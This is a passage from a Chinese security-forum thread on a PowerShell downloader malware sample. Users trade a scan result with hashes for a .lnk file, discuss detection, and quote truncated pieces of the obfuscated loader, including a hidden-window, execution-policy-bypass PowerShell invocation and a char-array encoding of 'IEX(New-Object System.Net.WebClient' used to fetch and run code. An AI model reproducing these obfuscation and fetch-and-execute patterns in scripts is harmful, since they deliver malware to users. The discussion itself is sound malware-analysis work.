12
返回列表 发新帖
楼主: petr0vic
收起左侧

[病毒样本] Downloader.PowerShell

[复制链接]
yjwfdc
头像被屏蔽
发表于 2019-1-14 12:38:29 | 显示全部楼层
[StRING][CHAr[]] (73 ,69, 88, 40, 78,101 , 119 , 45, 79 ,98,106,101 , 99,116,32 ,83,121,115 ,116 ,101 ,109, 46, 78 , 101,116,46,87 , 101等于“IEX(New-Object System.Net.We”?
pal家族
发表于 2019-1-14 12:39:43 | 显示全部楼层
123.lnk
Scan result File is infected Detected threats UDS:DangerousObject.Multi.Generic File size 2.93 KB File type EXE/LNK Scan date Jan 14 2019 12:39:16 Databases release date Jan 14 2019 03:37:46 UTC MD5 587527c633289fe57dd4d0a6d09761ac SHA1 ceba9a3ae0159fefc20730f5546250f9ef8102e8 SHA256 d5ae39e8e3116bf0a5e0006b238ed5043b41f10e1d681f4266ac8a7974dbd879
www-tekeze
发表于 2019-1-14 13:21:21 | 显示全部楼层
yjwfdc 发表于 2019-1-14 12:33
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoPr -WINd 1 -eXEc ByP   iex ("$( SeT-I ...

额,带得有小尾巴。。
Miostartos
发表于 2019-1-14 13:39:45 | 显示全部楼层
Norton 入库
你好,再见
头像被屏蔽
发表于 2019-1-14 19:49:21 | 显示全部楼层
yjwfdc 发表于 2019-1-14 12:38
[StRING][CHAr[]] (73 ,69, 88, 40, 78,101 , 119 , 45, 79 ,98,106,101 , 99,116,32 ,83,121,115 ,116 ,10 ...

了解了,自进化会这样查毒。。。下次极宝增加。。。

评分

参与人数 1人气 +1 收起 理由
yjwfdc + 1 感谢解答: )

查看全部评分

您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2024-3-29 13:02 , Processed in 0.095751 second(s), 15 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表